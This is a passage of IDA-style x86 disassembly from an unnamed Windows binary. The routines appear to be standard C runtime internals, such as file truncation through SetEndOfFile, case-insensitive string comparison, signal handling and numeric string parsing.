loc_434DF5:				; CODE XREF: sub_434D70+1Cj
					; sub_434D70+33j
		xor	eax, eax
		jmp	short loc_434DF1
sub_434D70	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_434DF9	proc near		; CODE XREF: sub_4336B9+28Ap

var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1004h
		call	sub_429B60
		push	ebx
		push	esi
		xor	esi, esi
		push	1
		push	esi
		push	[ebp+arg_0]
		call	sub_42F91D
		or	ebx, 0FFFFFFFFh
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	loc_434F18
		push	2
		push	esi
		push	[ebp+arg_0]
		call	sub_42F91D
		add	esp, 0Ch
		cmp	eax, ebx
		jz	loc_434F18
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_434EBB
		mov	ebx, 1000h
		lea	eax, [ebp+var_1004]
		push	ebx
		push	esi
		push	eax
		call	sub_429760
		push	8000h
		push	[ebp+arg_0]
		call	sub_435FD3
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_434E6C:				; CODE XREF: sub_434DF9+99j
		cmp	edi, ebx
		mov	eax, ebx
		jge	short loc_434E74
		mov	eax, edi


loc_434E74:				; CODE XREF: sub_434DF9+77j
		push	eax
		lea	eax, [ebp+var_1004]
		push	eax
		push	[ebp+arg_0]
		call	sub_432501
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_434E94
		sub	edi, eax
		test	edi, edi
		jle	short loc_434EAC
		jmp	short loc_434E6C
; ---------------------------------------------------------------------------


loc_434E94:				; CODE XREF: sub_434DF9+91j
		call	sub_42F122
		cmp	dword ptr [eax], 5
		jnz	short loc_434EA9
		call	sub_42F119
		mov	dword ptr [eax], 0Dh


loc_434EA9:				; CODE XREF: sub_434DF9+A3j
		or	esi, 0FFFFFFFFh


loc_434EAC:				; CODE XREF: sub_434DF9+97j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_435FD3
		pop	ecx
		pop	ecx
		jmp	short loc_434F03
; ---------------------------------------------------------------------------


loc_434EBB:				; CODE XREF: sub_434DF9+4Bj
		jge	short loc_434F03
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42F91D
		push	[ebp+arg_0]
		call	sub_4323D9
		add	esp, 10h
		push	eax
		call	dword_4371A8	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, ebx
		jnz	short loc_434F03
		call	sub_42F119
		mov	dword ptr [eax], 0Dh
		call	dword_437170	; RtlGetLastWin32Error
		mov	edi, eax
		call	sub_42F122
		mov	[eax], edi


loc_434F03:				; CODE XREF: sub_434DF9+C0j
					; sub_434DF9:loc_434EBBj ...
		push	0
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42F91D
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_434F1A
; ---------------------------------------------------------------------------


loc_434F18:				; CODE XREF: sub_434DF9+27j
					; sub_434DF9+3Dj
		mov	eax, ebx


loc_434F1A:				; CODE XREF: sub_434DF9+11Dj
		pop	esi
		pop	ebx
		leave
		retn
sub_434DF9	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+10h]
		or	ecx, ecx
		jz	loc_43501A
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		lea	eax, dword_6769A0
		cmp	dword ptr [eax+8], 0
		jnz	short loc_434F91
		mov	bh, 41h
		mov	bl, 5Ah
		mov	dh, 20h
		lea	ecx, [ecx+0]


loc_434F4C:				; CODE XREF: .text:00434F73j
		mov	ah, [esi]
		or	ah, ah
		mov	al, [edi]
		jz	short loc_434F75
		or	al, al
		jz	short loc_434F75
		inc	esi
		inc	edi
		cmp	ah, bh
		jb	short loc_434F64
		cmp	ah, bl
		ja	short loc_434F64
		add	ah, dh


loc_434F64:				; CODE XREF: .text:00434F5Cj
					; .text:00434F60j
		cmp	al, bh
		jb	short loc_434F6E
		cmp	al, bl
		ja	short loc_434F6E
		add	al, dh


loc_434F6E:				; CODE XREF: .text:00434F66j
					; .text:00434F6Aj
		cmp	ah, al
		jnz	short loc_434F7F
		dec	ecx
		jnz	short loc_434F4C


loc_434F75:				; CODE XREF: .text:00434F52j
					; .text:00434F56j
		xor	ecx, ecx
		cmp	ah, al
		jz	loc_43501A


loc_434F7F:				; CODE XREF: .text:00434F70j
		mov	ecx, 0FFFFFFFFh
		jb	loc_43501A
		neg	ecx
		jmp	loc_43501A
; ---------------------------------------------------------------------------


loc_434F91:				; CODE XREF: .text:00434F41j
		lock inc dword_676EDC
		cmp	dword_676ED8, 0
		jg	short loc_434FA5
		push	0
		jmp	short loc_434FBE
; ---------------------------------------------------------------------------


loc_434FA5:				; CODE XREF: .text:00434F9Fj
		lock dec dword_676EDC
		mov	ebx, ecx
		push	13h
		call	sub_42DAEF
		mov	dword ptr [esp], 1
		mov	ecx, ebx


loc_434FBE:				; CODE XREF: .text:00434FA3j
		xor	eax, eax
		xor	ebx, ebx
		mov	edi, edi


loc_434FC4:				; CODE XREF: .text:00434FEDj
		mov	al, [esi]
		or	eax, eax
		mov	bl, [edi]
		jz	short loc_434FEF
		or	ebx, ebx
		jz	short loc_434FEF
		inc	esi
		inc	edi
		push	ecx
		push	eax
		push	ebx
		call	sub_43059D
		mov	ebx, eax
		add	esp, 4
		call	sub_43059D
		add	esp, 4
		pop	ecx
		cmp	eax, ebx
		jnz	short loc_434FF5
		dec	ecx
		jnz	short loc_434FC4


loc_434FEF:				; CODE XREF: .text:00434FCAj
					; .text:00434FCEj
		xor	ecx, ecx
		cmp	eax, ebx
		jz	short loc_434FFE


loc_434FF5:				; CODE XREF: .text:00434FEAj
		mov	ecx, 0FFFFFFFFh
		jb	short loc_434FFE
		neg	ecx


loc_434FFE:				; CODE XREF: .text:00434FF3j
					; .text:00434FFAj
		pop	eax
		or	eax, eax
		jnz	short loc_43500C
		lock dec dword_676EDC
		jmp	short loc_43501A
; ---------------------------------------------------------------------------


loc_43500C:				; CODE XREF: .text:00435001j
		mov	ebx, ecx
		push	13h
		call	sub_42DB50
		add	esp, 4
		mov	ecx, ebx


loc_43501A:				; CODE XREF: .text:00434F2Bj
					; .text:00434F79j ...
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435021	proc near		; CODE XREF: sub_431BCC+3154p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		and	[ebp+var_4], 0
		dec	eax
		push	ebx
		push	esi
		dec	eax
		push	edi
		jz	short loc_43509C
		dec	eax
		dec	eax
		jz	short loc_43507F
		sub	eax, 4
		jz	short loc_43507F
		sub	eax, 3
		jz	short loc_43507F
		sub	eax, 4
		jz	short loc_435072


loc_435048:				; DATA XREF: .text:0043DA68o
		sub	eax, 6
		jz	short loc_435065
		dec	eax
		jz	short loc_435058
		or	eax, 0FFFFFFFFh
		jmp	loc_43519E
; ---------------------------------------------------------------------------


loc_435058:				; CODE XREF: sub_435021+2Dj
		mov	ebx, dword_676C80
		mov	edi, offset dword_676C80
		jmp	short loc_4350A7
; ---------------------------------------------------------------------------


loc_435065:				; CODE XREF: sub_435021+2Aj
		mov	ebx, dword_676C7C
		mov	edi, offset dword_676C7C
		jmp	short loc_4350A7
; ---------------------------------------------------------------------------


loc_435072:				; CODE XREF: sub_435021+25j
		mov	ebx, dword_676C84
		mov	edi, offset dword_676C84
		jmp	short loc_4350A7
; ---------------------------------------------------------------------------


loc_43507F:				; CODE XREF: sub_435021+16j
					; sub_435021+1Bj ...
		call	sub_42E4EE
		mov	esi, eax
		push	dword ptr [esi+50h]
		push	[ebp+arg_0]
		call	sub_4351A3
		mov	edi, eax
		pop	ecx
		add	edi, 8
		pop	ecx
		mov	ebx, [edi]
		jmp	short loc_4350B9
; ---------------------------------------------------------------------------


loc_43509C:				; CODE XREF: sub_435021+12j
		mov	ebx, dword_676C78
		mov	edi, offset dword_676C78


loc_4350A7:				; CODE XREF: sub_435021+42j
					; sub_435021+4Fj ...
		push	1
		mov	[ebp+var_4], 1
		call	sub_42DAEF
		mov	esi, [ebp+arg_0]
		pop	ecx


loc_4350B9:				; CODE XREF: sub_435021+79j
		cmp	ebx, 1
		jnz	short loc_4350D4
		cmp	[ebp+var_4], 0
		jz	loc_43519C
		push	ebx
		call	sub_42DB50
		pop	ecx
		jmp	loc_43519C
; ---------------------------------------------------------------------------


loc_4350D4:				; CODE XREF: sub_435021+9Bj
		xor	ecx, ecx
		cmp	ebx, ecx
		jnz	short loc_4350EE
		cmp	[ebp+var_4], ecx
		jz	short loc_4350E7
		push	1
		call	sub_42DB50
		pop	ecx


loc_4350E7:				; CODE XREF: sub_435021+BCj
		push	3
		call	sub_430B45


loc_4350EE:				; CODE XREF: sub_435021+B7j
		mov	eax, [ebp+arg_0]
		cmp	eax, 8
		jz	short loc_435100
		cmp	eax, 0Bh
		jz	short loc_435100
		cmp	eax, 4
		jnz	short loc_43511B


loc_435100:				; CODE XREF: sub_435021+D3j
					; sub_435021+D8j
		mov	edx, [esi+54h]
		cmp	eax, 8
		mov	[ebp+var_8], edx
		mov	[esi+54h], ecx
		jnz	short loc_435157
		mov	edx, [esi+58h]
		mov	dword ptr [esi+58h], 8Ch
		mov	[ebp+var_C], edx


loc_43511B:				; CODE XREF: sub_435021+DDj
		cmp	eax, 8
		jnz	short loc_435157
		mov	ecx, dword_4538B0
		mov	eax, dword_4538B4
		add	eax, ecx
		cmp	ecx, eax
		jge	short loc_435159
		lea	eax, [ecx+ecx*2]
		shl	eax, 2


loc_435137:				; CODE XREF: sub_435021+132j
		mov	edx, [esi+50h]
		add	eax, 0Ch
		and	dword ptr [edx+eax-4], 0
		mov	edx, dword_4538B0
		mov	edi, dword_4538B4
		inc	ecx
		add	edi, edx
		cmp	ecx, edi
		jl	short loc_435137
		jmp	short loc_435159
; ---------------------------------------------------------------------------


loc_435157:				; CODE XREF: sub_435021+EBj
					; sub_435021+FDj
		mov	[edi], ecx


loc_435159:				; CODE XREF: sub_435021+10Ej
					; sub_435021+134j
		cmp	[ebp+var_4], 0
		jz	short loc_435167
		push	1
		call	sub_42DB50
		pop	ecx


loc_435167:				; CODE XREF: sub_435021+13Cj
		cmp	[ebp+arg_0], 8
		jnz	short loc_435178
		push	dword ptr [esi+58h]
		push	8
		call	ebx
		pop	ecx
		pop	ecx
		jmp	short loc_43518A
; ---------------------------------------------------------------------------


loc_435178:				; CODE XREF: sub_435021+14Aj
		push	[ebp+arg_0]
		call	ebx
		cmp	[ebp+arg_0], 0Bh
		pop	ecx
		jz	short loc_43518A
		cmp	[ebp+arg_0], 4
		jnz	short loc_43519C


loc_43518A:				; CODE XREF: sub_435021+155j
					; sub_435021+161j
		mov	eax, [ebp+var_8]
		cmp	[ebp+arg_0], 8
		mov	[esi+54h], eax
		jnz	short loc_43519C
		mov	eax, [ebp+var_C]
		mov	[esi+58h], eax


loc_43519C:				; CODE XREF: sub_435021+A1j
					; sub_435021+AEj ...
		xor	eax, eax


loc_43519E:				; CODE XREF: sub_435021+32j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_435021	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4351A3	proc near		; CODE XREF: sub_435021+6Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	ecx, dword_4538BC
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	[edx+4], esi
		push	edi
		mov	eax, edx
		jz	short loc_4351CC
		lea	edi, [ecx+ecx*2]
		lea	edi, [edx+edi*4]


loc_4351C0:				; CODE XREF: sub_4351A3+27j
		add	eax, 0Ch
		cmp	eax, edi
		jnb	short loc_4351CC
		cmp	[eax+4], esi
		jnz	short loc_4351C0


loc_4351CC:				; CODE XREF: sub_4351A3+15j
					; sub_4351A3+22j
		lea	ecx, [ecx+ecx*2]
		lea	ecx, [edx+ecx*4]
		cmp	eax, ecx
		jnb	short loc_4351DB
		cmp	[eax+4], esi
		jz	short loc_4351DD


loc_4351DB:				; CODE XREF: sub_4351A3+31j
		xor	eax, eax


loc_4351DD:				; CODE XREF: sub_4351A3+36j
		pop	edi
		pop	esi
		retn
sub_4351A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4351E0	proc near		; CODE XREF: sub_434179+2Bp
					; sub_434179+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_4351F6
		cmp	ecx, esi
		jnb	short loc_4351F9


loc_4351F6:				; CODE XREF: sub_4351E0+10j
		push	1
		pop	eax


loc_4351F9:				; CODE XREF: sub_4351E0+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_4351E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_435201	proc near		; CODE XREF: sub_4352BA+40p
					; sub_4352BA+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_4351E0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_435233
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_4351E0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_435233
		inc	dword ptr [esi+8]


loc_435233:				; CODE XREF: sub_435201+19j
					; sub_435201+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_4351E0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_43524B
		inc	dword ptr [esi+8]


loc_43524B:				; CODE XREF: sub_435201+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_4351E0
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_435201	endp


; =============== S U B	R O U T	I N E =======================================



sub_43525F	proc near		; CODE XREF: sub_4352BA+30p
					; sub_4352BA+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_43525F	endp


; =============== S U B	R O U T	I N E =======================================



sub_43528D	proc near		; CODE XREF: sub_435852+1C8p
					; sub_436034+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_43528D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4352BA	proc near		; CODE XREF: sub_435381+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_43532E
		push	edi
		mov	[ebp+arg_8], eax


loc_4352E1:				; CODE XREF: sub_4352BA+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_43525F
		push	ebx
		call	sub_43525F
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_435201
		push	ebx
		call	sub_43525F
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_435201
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_4352E1
		xor	edx, edx
		pop	edi


loc_43532E:				; CODE XREF: sub_4352BA+21j
					; sub_4352BA+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_43535B
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_43532E
; ---------------------------------------------------------------------------


loc_43535B:				; CODE XREF: sub_4352BA+77j
		mov	esi, 8000h


loc_435360:				; CODE XREF: sub_4352BA+B9j
		test	[ebx+8], esi
		jnz	short loc_435375
		push	ebx
		call	sub_43525F
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_435360
; ---------------------------------------------------------------------------


loc_435375:				; CODE XREF: sub_4352BA+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_4352BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435381	proc near		; CODE XREF: sub_4344C2+17p
					; sub_4344EF+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_4353BC:				; CODE XREF: sub_435381+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_4353D2
		cmp	cl, 9
		jz	short loc_4353D2
		cmp	cl, 0Ah
		jz	short loc_4353D2
		cmp	cl, 0Dh
		jnz	short loc_4353D5


loc_4353D2:				; CODE XREF: sub_435381+40j
					; sub_435381+45j ...
		inc	edi
		jmp	short loc_4353BC
; ---------------------------------------------------------------------------


loc_4353D5:				; CODE XREF: sub_435381+4Fj
		push	4
		pop	esi


loc_4353D8:				; CODE XREF: sub_435381+AEj
					; sub_435381+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_43565B	; default
					; jumptable 004353E4 case 10
		jmp	off_435822[eax*4] ; switch jump


loc_4353EB:				; DATA XREF: .text:off_435822o
		cmp	bl, 31h		; jumptable 004353E4 case 0
		jl	short loc_4353FC
		cmp	bl, 39h
		jg	short loc_4353FC


loc_4353F5:				; CODE XREF: sub_435381+C4j
					; sub_435381+118j
		push	3
		jmp	loc_435619
; ---------------------------------------------------------------------------


loc_4353FC:				; CODE XREF: sub_435381+6Dj
					; sub_435381+72j
		cmp	bl, byte_4535C8
		jnz	short loc_43540B


loc_435404:				; CODE XREF: sub_435381+124j
		push	5
		jmp	loc_435651
; ---------------------------------------------------------------------------


loc_43540B:				; CODE XREF: sub_435381+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_435431
		dec	eax
		dec	eax
		jz	short loc_435425
		sub	eax, 3
		jnz	loc_4356F4
		jmp	loc_4354B4
; ---------------------------------------------------------------------------


loc_435425:				; CODE XREF: sub_435381+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_4353D8
; ---------------------------------------------------------------------------


loc_435431:				; CODE XREF: sub_435381+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_4353D8
; ---------------------------------------------------------------------------


loc_43543A:				; CODE XREF: sub_435381+63j
					; DATA XREF: .text:off_435822o
		cmp	bl, 31h		; jumptable 004353E4 case 1
		mov	[ebp+var_10], edx
		jl	short loc_435447
		cmp	bl, 39h
		jle	short loc_4353F5


loc_435447:				; CODE XREF: sub_435381+BFj
		cmp	bl, byte_4535C8
		jz	loc_43550F
		cmp	bl, 2Bh
		jz	short loc_435489
		cmp	bl, 2Dh
		jz	short loc_435489
		cmp	bl, 30h
		jz	short loc_4354B4


loc_435462:				; CODE XREF: sub_435381+207j
		cmp	bl, 43h
		jle	loc_4356F4
		cmp	bl, 45h
		jle	short loc_435482
		cmp	bl, 63h
		jle	loc_4356F4
		cmp	bl, 65h
		jg	loc_4356F4


loc_435482:				; CODE XREF: sub_435381+EDj
		push	6
		jmp	loc_435651
; ---------------------------------------------------------------------------


loc_435489:				; CODE XREF: sub_435381+D5j
					; sub_435381+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_435651
; ---------------------------------------------------------------------------


loc_435491:				; CODE XREF: sub_435381+63j
					; DATA XREF: .text:off_435822o
		cmp	bl, 31h		; jumptable 004353E4 case 2
		jl	short loc_43549F
		cmp	bl, 39h
		jle	loc_4353F5


loc_43549F:				; CODE XREF: sub_435381+113j
		cmp	bl, byte_4535C8
		jz	loc_435404
		cmp	bl, 30h
		jnz	loc_435669


loc_4354B4:				; CODE XREF: sub_435381+9Fj
					; sub_435381+DFj
		mov	eax, edx
		jmp	loc_4353D8
; ---------------------------------------------------------------------------


loc_4354BB:				; CODE XREF: sub_435381+63j
					; DATA XREF: .text:off_435822o
		mov	[ebp+var_10], edx ; jumptable 004353E4 case 3


loc_4354BE:				; CODE XREF: sub_435381+184j
		cmp	dword_4535C4, edx
		jle	short loc_4354D7
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_42F12B
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4354E5
; ---------------------------------------------------------------------------


loc_4354D7:				; CODE XREF: sub_435381+143j
		mov	ecx, off_4533B8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4354E5:				; CODE XREF: sub_435381+154j
		test	eax, eax
		jz	short loc_435507
		cmp	[ebp+var_4], 19h
		jnb	short loc_4354FF
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_435502
; ---------------------------------------------------------------------------


loc_4354FF:				; CODE XREF: sub_435381+16Cj
		inc	[ebp+var_8]


loc_435502:				; CODE XREF: sub_435381+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4354BE
; ---------------------------------------------------------------------------


loc_435507:				; CODE XREF: sub_435381+166j
		cmp	bl, byte_4535C8
		jnz	short loc_435576


loc_43550F:				; CODE XREF: sub_435381+CCj
		mov	eax, esi
		jmp	loc_4353D8
; ---------------------------------------------------------------------------


loc_435516:				; CODE XREF: sub_435381+63j
					; DATA XREF: .text:off_435822o
		cmp	[ebp+var_4], 0	; jumptable 004353E4 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_43552F


loc_435522:				; CODE XREF: sub_435381+1ACj
		cmp	bl, 30h
		jnz	short loc_43552F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_435522
; ---------------------------------------------------------------------------


loc_43552F:				; CODE XREF: sub_435381+19Fj
					; sub_435381+1A4j ...
		cmp	dword_4535C4, edx
		jle	short loc_435548
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_42F12B
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_435556
; ---------------------------------------------------------------------------


loc_435548:				; CODE XREF: sub_435381+1B4j
		mov	ecx, off_4533B8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_435556:				; CODE XREF: sub_435381+1C5j
		test	eax, eax
		jz	short loc_435576
		cmp	[ebp+var_4], 19h
		jnb	short loc_435571
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_435571:				; CODE XREF: sub_435381+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_43552F
; ---------------------------------------------------------------------------


loc_435576:				; CODE XREF: sub_435381+18Cj
					; sub_435381+1D7j
		cmp	bl, 2Bh
		jz	loc_435489
		cmp	bl, 2Dh
		jz	loc_435489
		jmp	loc_435462
; ---------------------------------------------------------------------------


loc_43558D:				; CODE XREF: sub_435381+63j
					; DATA XREF: .text:off_435822o
		cmp	dword_4535C4, edx ; jumptable 004353E4 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4355A9
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_42F12B
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4355B7
; ---------------------------------------------------------------------------


loc_4355A9:				; CODE XREF: sub_435381+215j
		mov	ecx, off_4533B8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4355B7:				; CODE XREF: sub_435381+226j
		test	eax, eax
		jz	loc_435669
		mov	eax, esi
		jmp	short loc_43561A
; ---------------------------------------------------------------------------


loc_4355C3:				; CODE XREF: sub_435381+63j
					; DATA XREF: .text:off_435822o
		lea	ecx, [edi-2]	; jumptable 004353E4 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_4355D3
		cmp	bl, 39h
		jle	short loc_435617


loc_4355D3:				; CODE XREF: sub_435381+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_43564F
		dec	eax
		dec	eax
		jz	short loc_435643
		sub	eax, 3
		jnz	loc_4356F7


loc_4355E8:				; CODE XREF: sub_435381+2A4j
		push	8
		jmp	short loc_435651
; ---------------------------------------------------------------------------


loc_4355EC:				; CODE XREF: sub_435381+63j
					; DATA XREF: .text:off_435822o
		mov	[ebp+var_20], edx ; jumptable 004353E4 case 8


loc_4355EF:				; CODE XREF: sub_435381+276j
		cmp	bl, 30h
		jnz	short loc_4355F9
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4355EF
; ---------------------------------------------------------------------------


loc_4355F9:				; CODE XREF: sub_435381+271j
		cmp	bl, 31h
		jl	loc_4356F4
		cmp	bl, 39h
		jg	loc_4356F4
		jmp	short loc_435617
; ---------------------------------------------------------------------------


loc_43560D:				; CODE XREF: sub_435381+63j
					; DATA XREF: .text:off_435822o
		cmp	bl, 31h		; jumptable 004353E4 case 7
		jl	short loc_435620
		cmp	bl, 39h
		jg	short loc_435620


loc_435617:				; CODE XREF: sub_435381+250j
					; sub_435381+28Aj
		push	9


loc_435619:				; CODE XREF: sub_435381+76j
		pop	eax


loc_43561A:				; CODE XREF: sub_435381+240j
		dec	edi
		jmp	loc_4353D8
; ---------------------------------------------------------------------------


loc_435620:				; CODE XREF: sub_435381+28Fj
					; sub_435381+294j
		cmp	bl, 30h
		jnz	short loc_435669
		jmp	short loc_4355E8
; ---------------------------------------------------------------------------


loc_435627:				; CODE XREF: sub_435381+63j
					; DATA XREF: .text:off_435822o
		cmp	[ebp+arg_18], 0	; jumptable 004353E4 case 11
		jz	short loc_435657
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_43564F
		dec	eax
		dec	eax
		jnz	loc_4356F7


loc_435643:				; CODE XREF: sub_435381+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_4353D8
; ---------------------------------------------------------------------------


loc_43564F:				; CODE XREF: sub_435381+258j
					; sub_435381+2B8j
		push	7


loc_435651:				; CODE XREF: sub_435381+85j
					; sub_435381+103j ...
		pop	eax
		jmp	loc_4353D8
; ---------------------------------------------------------------------------


loc_435657:				; CODE XREF: sub_435381+2AAj
		push	0Ah
		dec	edi
